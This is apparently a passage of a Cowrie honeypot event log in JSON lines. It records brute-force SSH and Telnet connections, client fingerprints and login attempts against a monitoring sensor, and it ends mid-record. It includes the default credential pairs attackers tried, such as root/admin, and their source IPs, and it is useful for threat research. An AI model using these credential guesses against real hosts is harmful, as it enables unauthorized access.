{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:63:db:48:69:81:d9:d9:d5:46:35:e1:4a:53:9e:99","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOPVVDDZUErKwN26P2y9qkZnBv0VsU74McZzggFlY8Fe6jeaOFuD6eYiyjQ+UBbgnlrLWW8IZ8YugHGjL7xqpgxZAFni47f23APOrhg9uRO3oBg9AiIJROFfdTAESsFE4zEMLjxQk5fM07qS4Y0erHtrT8xGbrCjmjYJkW7/xgMNAAAAFQCbWLpBzMKCBQJNz1qnBswSEYOThwAAAIBRwCq4++j1BfyoAqWEhz6Qnj7T4tFeICej1XAHdhNyZ0aZQbOOsHhe35Vziz96r6S0pNkdy0v3Gau5f1gpzM1+AxseBtirlxE8+dZj9RqbEREvYVN+J1bzkXNvcAoZUp/V1GDuAZ9ZXl3r43eRYWLuRWnl3/z6Cr4tTa7t6m+p6wAAAIAmDzeG4bVfZAnH/JqhKX+FK83kUWgc6xr+WLWdl5mLYwf3vVGS+Av22AhB1mobmzERMCpz7hX4w/dMtCgqkt64fZOpnrkwlqqeVrMI61v91FT0uC489mCPY6ppebW0Egw76eZP+m3H5l7/5B/TwhAdGyySoOGD1VnFMfvYqYevLQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 07:63:db:48:69:81:d9:d9:d5:46:35:e1:4a:53:9e:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:44.027700Z","src_ip":"89.150.48.10","session":"c45ac65471b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:63:db:48:69:81:d9:d9:d5:46:35:e1:4a:53:9e:99","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOPVVDDZUErKwN26P2y9qkZnBv0VsU74McZzggFlY8Fe6jeaOFuD6eYiyjQ+UBbgnlrLWW8IZ8YugHGjL7xqpgxZAFni47f23APOrhg9uRO3oBg9AiIJROFfdTAESsFE4zEMLjxQk5fM07qS4Y0erHtrT8xGbrCjmjYJkW7/xgMNAAAAFQCbWLpBzMKCBQJNz1qnBswSEYOThwAAAIBRwCq4++j1BfyoAqWEhz6Qnj7T4tFeICej1XAHdhNyZ0aZQbOOsHhe35Vziz96r6S0pNkdy0v3Gau5f1gpzM1+AxseBtirlxE8+dZj9RqbEREvYVN+J1bzkXNvcAoZUp/V1GDuAZ9ZXl3r43eRYWLuRWnl3/z6Cr4tTa7t6m+p6wAAAIAmDzeG4bVfZAnH/JqhKX+FK83kUWgc6xr+WLWdl5mLYwf3vVGS+Av22AhB1mobmzERMCpz7hX4w/dMtCgqkt64fZOpnrkwlqqeVrMI61v91FT0uC489mCPY6ppebW0Egw76eZP+m3H5l7/5B/TwhAdGyySoOGD1VnFMfvYqYevLQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:44.031340Z","src_ip":"89.150.48.10","session":"c45ac65471b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:7d:bb:f9:e6:c6:e6:4c:95:e8:0f:bc:e4:f8:1c:20","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANdEm8UYGYgobttvAJL479AnS7RxPHiZosgCcGo0cytqWQzICpNuht5YcYxm5keGT2cTfviiDvP2dHbfq6LhEVivp62VmRUoFnc6LlsOahyttB7RavS1YQigOAQ1+aW1p5KquFl9sLYKdAHUYOLNrs/SG6NovEQQUw3AavoYiIPzAAAAFQDwoOwPkauxT9LI22arLz/cxxnfGQAAAIEAwJOLlPQIZ+b0xAz6JUsLaTGXqUhCSAhrEfXma+XytRR3KlGwnyTLfTQ63hTGhgEXkEmTRX+RAwp2B/ErEUPUN8ZnbVsu+BRegxhtqx+8kgVuLpQJ/8uXgHU4ZjZqAxjzois3UPxZ9HqyiqKjgTmptU50V8J0poEuYHDQzmajluoAAACBAKTOPQKnjaq1TZqWZ58PPfstGYzBnq601FKZvX+46GFt7fxvFh9gON1WqHYzyWIryY+ZB4trNo/kIb9xUFurcH/SY3A1K6D1rG7ikK9yJzDLg+ihFj2//z8j4vsaDzI7ACEUII2g/VzpJrg9hXgLzGJG1GG493843TlUlfQkJQ9U","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint e9:7d:bb:f9:e6:c6:e6:4c:95:e8:0f:bc:e4:f8:1c:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:44.127723Z","src_ip":"89.150.48.10","session":"c45ac65471b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:7d:bb:f9:e6:c6:e6:4c:95:e8:0f:bc:e4:f8:1c:20","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANdEm8UYGYgobttvAJL479AnS7RxPHiZosgCcGo0cytqWQzICpNuht5YcYxm5keGT2cTfviiDvP2dHbfq6LhEVivp62VmRUoFnc6LlsOahyttB7RavS1YQigOAQ1+aW1p5KquFl9sLYKdAHUYOLNrs/SG6NovEQQUw3AavoYiIPzAAAAFQDwoOwPkauxT9LI22arLz/cxxnfGQAAAIEAwJOLlPQIZ+b0xAz6JUsLaTGXqUhCSAhrEfXma+XytRR3KlGwnyTLfTQ63hTGhgEXkEmTRX+RAwp2B/ErEUPUN8ZnbVsu+BRegxhtqx+8kgVuLpQJ/8uXgHU4ZjZqAxjzois3UPxZ9HqyiqKjgTmptU50V8J0poEuYHDQzmajluoAAACBAKTOPQKnjaq1TZqWZ58PPfstGYzBnq601FKZvX+46GFt7fxvFh9gON1WqHYzyWIryY+ZB4trNo/kIb9xUFurcH/SY3A1K6D1rG7ikK9yJzDLg+ihFj2//z8j4vsaDzI7ACEUII2g/VzpJrg9hXgLzGJG1GG493843TlUlfQkJQ9U","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:44.131198Z","src_ip":"89.150.48.10","session":"c45ac65471b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:44.224762Z","src_ip":"89.150.48.10","session":"c45ac65471b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42022,"dst_ip":"159.203.135.109","dst_port":23,"session":"db1c70ad1bfc","protocol":"telnet","message":"New connection: 147.182.143.59:42022 (159.203.135.109:23) [session: db1c70ad1bfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:47.071470Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54802,"dst_ip":"10.17.0.5","dst_port":23,"session":"a270b41b97c1","protocol":"telnet","message":"New connection: 45.58.127.90:54802 (10.17.0.5:23) [session: a270b41b97c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:47.531875Z"}
{"eventid":"cowrie.session.closed","duration":12.237268686294556,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:59.308598Z","src_ip":"147.182.143.59","session":"db1c70ad1bfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43172,"dst_ip":"10.17.0.5","dst_port":23,"session":"52b0b2345bf9","protocol":"telnet","message":"New connection: 45.58.127.90:43172 (10.17.0.5:23) [session: 52b0b2345bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:08.375139Z"}
{"eventid":"cowrie.session.closed","duration":1.1727936267852783,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:09.547828Z","src_ip":"45.58.127.90","session":"52b0b2345bf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.175400257110596,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:17.262048Z","src_ip":"45.58.127.90","session":"9d852a26294f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.20.147.139","src_port":41849,"dst_ip":"159.203.135.109","dst_port":23,"session":"6174c6b11950","protocol":"telnet","message":"New connection: 83.20.147.139:41849 (159.203.135.109:23) [session: 6174c6b11950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:18.827608Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":59678,"dst_ip":"159.203.135.109","dst_port":23,"session":"67dac1efd955","protocol":"telnet","message":"New connection: 147.182.143.59:59678 (159.203.135.109:23) [session: 67dac1efd955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:19.864664Z"}
{"eventid":"cowrie.session.closed","duration":42.848193883895874,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:20.022433Z","src_ip":"45.58.127.90","session":"7cb2df5deffa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.1796555519104,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:22.511141Z","src_ip":"45.58.127.90","session":"94d355009bf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":59682,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a5eefeaccbe","protocol":"telnet","message":"New connection: 147.182.143.59:59682 (159.203.135.109:23) [session: 9a5eefeaccbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:24.196982Z"}
{"eventid":"cowrie.session.closed","duration":40.91692066192627,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:28.448670Z","src_ip":"45.58.127.90","session":"a270b41b97c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":41700,"dst_ip":"159.203.135.109","dst_port":23,"session":"c27216803ea8","protocol":"telnet","message":"New connection: 147.182.143.59:41700 (159.203.135.109:23) [session: c27216803ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:30.449784Z"}
{"eventid":"cowrie.session.closed","duration":12.718459367752075,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:31.545964Z","src_ip":"83.20.147.139","session":"6174c6b11950","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":51382,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f69c2441fdc","protocol":"ssh","message":"New connection: 187.230.120.231:51382 (10.17.0.5:22) [session: 4f69c2441fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:37.469746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:37.473476Z","src_ip":"187.230.120.231","session":"4f69c2441fdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:37.573161Z","src_ip":"187.230.120.231","session":"4f69c2441fdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.800949811935425,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:37.665497Z","src_ip":"147.182.143.59","session":"67dac1efd955","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"wp-user","password":"wp-user","message":"login attempt [wp-user/wp-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:37.990641Z","src_ip":"187.230.120.231","session":"4f69c2441fdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:39.090515Z","src_ip":"187.230.120.231","session":"4f69c2441fdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.076199054718018,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:42.525900Z","src_ip":"147.182.143.59","session":"c27216803ea8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.368160247802734,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:42.565050Z","src_ip":"147.182.143.59","session":"9a5eefeaccbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":46122,"dst_ip":"159.203.135.109","dst_port":23,"session":"3da4d6c00d23","protocol":"telnet","message":"New connection: 147.182.143.59:46122 (159.203.135.109:23) [session: 3da4d6c00d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:45.586303Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37208,"dst_ip":"10.17.0.5","dst_port":23,"session":"b17634c076b7","protocol":"telnet","message":"New connection: 45.58.127.90:37208 (10.17.0.5:23) [session: b17634c076b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:53.140938Z"}
{"eventid":"cowrie.session.closed","duration":9.96137547492981,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:55.547559Z","src_ip":"147.182.143.59","session":"3da4d6c00d23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37210,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd1f336e4a7d","protocol":"telnet","message":"New connection: 45.58.127.90:37210 (10.17.0.5:23) [session: dd1f336e4a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:26:56.469427Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38378,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1aa6d7e6037","protocol":"telnet","message":"New connection: 45.58.127.90:38378 (10.17.0.5:23) [session: f1aa6d7e6037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:04.348352Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40484,"dst_ip":"10.17.0.5","dst_port":23,"session":"506b4449d869","protocol":"telnet","message":"New connection: 45.58.127.90:40484 (10.17.0.5:23) [session: 506b4449d869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:17.444426Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":51730,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3191fe8406f","protocol":"telnet","message":"New connection: 147.182.143.59:51730 (159.203.135.109:23) [session: f3191fe8406f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:24.925692Z"}
{"eventid":"cowrie.session.closed","duration":34.66492533683777,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:27.805761Z","src_ip":"45.58.127.90","session":"b17634c076b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":5392,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b2a803b643f","protocol":"ssh","message":"New connection: 185.71.233.73:5392 (10.17.0.5:22) [session: 2b2a803b643f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:30.090746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:30.098816Z","src_ip":"185.71.233.73","session":"2b2a803b643f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:30.296053Z","src_ip":"185.71.233.73","session":"2b2a803b643f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:30.995441Z","src_ip":"185.71.233.73","session":"2b2a803b643f","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:31.450255Z","src_ip":"185.71.233.73","session":"2b2a803b643f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:31.670341Z","src_ip":"185.71.233.73","session":"2b2a803b643f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":5411,"dst_ip":"159.203.135.109","dst_port":22,"session":"2071662e3fa1","protocol":"ssh","message":"New connection: 185.71.233.73:5411 (159.203.135.109:22) [session: 2071662e3fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:32.138299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:32.143032Z","src_ip":"185.71.233.73","session":"2071662e3fa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:32.339540Z","src_ip":"185.71.233.73","session":"2071662e3fa1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:32.877755Z","src_ip":"185.71.233.73","session":"2b2a803b643f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:32.968176Z","src_ip":"185.71.233.73","session":"2071662e3fa1","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:33.394732Z","src_ip":"185.71.233.73","session":"2071662e3fa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":48808,"dst_ip":"10.17.0.5","dst_port":22,"session":"7163855b0c96","protocol":"ssh","message":"New connection: 187.230.120.231:48808 (10.17.0.5:22) [session: 7163855b0c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:33.398372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:33.401380Z","src_ip":"187.230.120.231","session":"7163855b0c96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecd